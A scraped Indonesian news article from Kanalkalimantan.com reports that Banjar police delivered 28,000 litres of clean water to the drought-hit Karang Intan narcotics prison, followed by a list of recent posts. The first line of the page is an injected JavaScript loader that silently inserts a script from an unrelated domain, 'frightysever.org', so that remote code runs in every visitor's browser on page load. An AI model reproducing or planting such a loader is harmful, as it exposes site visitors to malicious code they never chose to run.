(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Krisis Air, 28.000 Liter Air Dipasok ke Lapas Karang Intan


KANALKALIMANTAN.COM, MARTAPURA – Menghadapi kemarau panjang warga binaan Lembaga Pemasyarakatan (Lapas) Narkotika Kelas IIA Karang Intan, Kabupaten Banjar menerima distribusi air bersih.

Bagi warga binaan air bersih menjadi kebutuhan utama yang harus tetap terjaga.

Sebanyak 28.000 liter air bersih dipasok ke Lapas Narkotika Karang Intan, dimana 5.000 liter merupakan air konsumsi siap minum bantuan dari perusahan air minum kemasan Prof.

Baca juga: Polisi Selidiki OD Massal Akibat Oplosan Zenith dan Kecubung


Kepala Lapas Narkotika Kelas IIA Karang Intan Wahyu Susetyo mengatakan, warga binaan sempat mengalami krisis air bersih selama musim kemarau ini.

“Tentu ini sangat berguna khususnya di masa kemarau panjang yang juga turut dirasakan warga binaan kita,” ungkap Kepala Lapas Wahyu Susetyo, Rabu (30/8/2023).

Air bersih dipasok oleh Kepolisian Resort (Polres) Banjar tujuannya membantu proses pembinaan yang diselenggarakan Lapas Narkotika Karang Intan selama kemarau.

Baca juga: Delapan Titik Kebakaran Terjadi dalam Sehari di Banjarbaru

Dirinya menambahkan, Lapas terus berusaha mencukupi kebutuhan air bersih, salah satunya dengan mengalirkan air dari irigasi Karang Intan menuju Lapas.

“Air bersih ini sangat penting untuk kegiatan harian mandi cuci kakus warga binaan.

Jika tidak ditangani dengan serius bisa menjadi potensi munculnya gangguan keamanan ketertiban, sehingga bisa mengganggu proses pembinaan yang diselenggarakan Lapas,” jelas Wahyu.

Kapolres Banjar AKBP M Ifan Hariyat  yang ikut memimpin kegiatan mengatakan, pihaknya ingin meringankan warga binaan Lapas Narkotika Karang Intan yang sedang mengalami krisis air bersih.

“Tujuan pendistribusian air bersih ini untuk meringankan warga binaan Lapas Narkotika Karang Intan yang saat ini mengalami krisis air bersih akibat kekeringan,” kata Kapolres Banjar. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.